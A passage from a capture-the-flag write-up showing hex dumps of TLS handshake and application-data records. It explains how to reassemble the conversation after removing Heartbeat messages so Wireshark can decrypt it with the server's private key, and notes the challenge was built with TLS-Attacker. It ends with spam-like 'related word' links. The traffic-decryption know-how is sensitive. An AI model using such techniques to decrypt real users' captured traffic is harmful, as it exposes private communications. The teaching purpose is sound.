160302006A1000006600645de166a6d3669bf219365ef3d35410c50283c4dd038a1b6fedf526d5b193453d796f6e63c144bbda62763740468e218916410671318e83da3c2ade5f6da6482b09fca5c823eb4d9933feae17d165a6db0e94bb09574fc1f7b8edcfbcf9e9696b6173f4b61403020001011603020030cbe6bf1ae7f2bc40a49709a06c0e3149a65b8cd93c2525b5bfa8f696e29880d3447aef3dc9a996ca2aff8be99b1a415716030200309bf02969ca42d203e566bcc696de08fa80e0bfdf44b1b315aed17fe867aed6d0d600c73de59c14beb74b0328eacadcf9

ClientKeyExchange / ChangeCipherSpec / Finished
160302006A1000006600645de166a6d3669bf219365ef3d35410c50283c4dd038a1b6fedf526d5b193453d796f6e63c144bbda62763740468e218916410671318e83da3c2ade5f6da6482b09fca5c823eb4d9933feae17d165a6db0e94bb09574fc1f7b8edcfbcf9e9696b6173f4b61403020001011603020030cbe6bf1ae7f2bc40a49709a06c0e3149a65b8cd93c2525b5bfa8f696e29880d3447aef3dc9a996ca2aff8be99b1a415716030200309bf02969ca42d203e566bcc696de08fa80e0bfdf44b1b315aed17fe867aed6d0d600c73de59c14beb74b0328eacadcf9')

ApplicationData
1703020030063c60d43e08c4315f261f8a4f06169acdb5818d80075143afe83c79b570ab0b349b2e8748f8b767c54c0133331fb8861703020030cd839b95954fcadf1e60ee983cbe5c21ac6f6e1fe34ae4b1214cded895db4746b8e38d7960d7d45cb001aab8e18c7fc717030200308092d75f72b16cb23a856b00c4c398988df099441e10dca5e850398e616e4597170796b7202e2a8726862cd760ebacdf17030200308e9f83b015fce7f9c925b8b64abee426224a5fbd2d9b8fc6ded34222a943ec0e8e973bcf125b81f918e391a22b4b0e6517030200300e24ba11e41bfcf66452dc80221288cea66fb3aed9bdc7e08a31a0e7f14e11ce0983ec3d20dd47c179425243b14b08c917030200300465fdb05b121cdc08fa01cdacb2c8f4eff59402f4dbf35a85cc91a6d1264a895cd1b3d2014c91fbba03ec4c85d058c91703020030e2ddbbb83fe8318c41c26d57a5813fab89549a874ff74d83e182de34ecf55fff1a57008afd3a29ef0d839b991143cd2a1703020030524f5210190f73c984bd6a59b9cf424cb7f30fafe5ea3ac51b6757c51911e86b0aa1a6bbf4861c961f8463154acea315170302003032765985e2e594cddca3d0f45bd21f49a5edfe89fdb3782e2af978585c0e27ba3ef90eb658304716237297f97e4e72bc1703020030e0ae69b1fa54785dc971221fd92215fb14e918a9e6e37139153be8cb9c16d2a787385746f9a80d0596580ba22eaf254e

What we want to do now is create the following conversation:
CH->
<-SH, CERT, SHD
-> CKE, CCS, FIN
-> APP, APP ,APP

This will be enough for Wireshark to decrypt the traffic. However, since we removed some messages (the whole HeartbeatMessages) our HMAC's will be invalid.

We need to record an interleaved transmission of these message with Wireshark. I will use these simple python programs to create the traffic:




If we record these transmissions and tick the flag in Wireshark to ignore invalid HMAC's we can see the plaintext (if we added the private key in Wireshark).

Challenge Creation

I used our TLS-Attacker project to create this challenge. With TLS-Attacker you can send arbitrary TLS messages with arbitrary content in an arbitrary order, save them in XML and replay them. The communication between the peers are therefore only two XML files which are loaded into TLS-Attacker talking to each other. I then copied parts of the key_block from the debug output and the challenge was completed :)

If you have question in regards to the challenge you can DM me at @ic0nz1
Happy Hacking

Related word


  1. Hacking Raspberry Pi
  2. Ethical Hacking Curso
  3. Travel Hacking
  4. Hacking Live
  5. Hacking Etico Curso Gratis
  6. Growth Hacking Marketing
  7. Arduino Hacking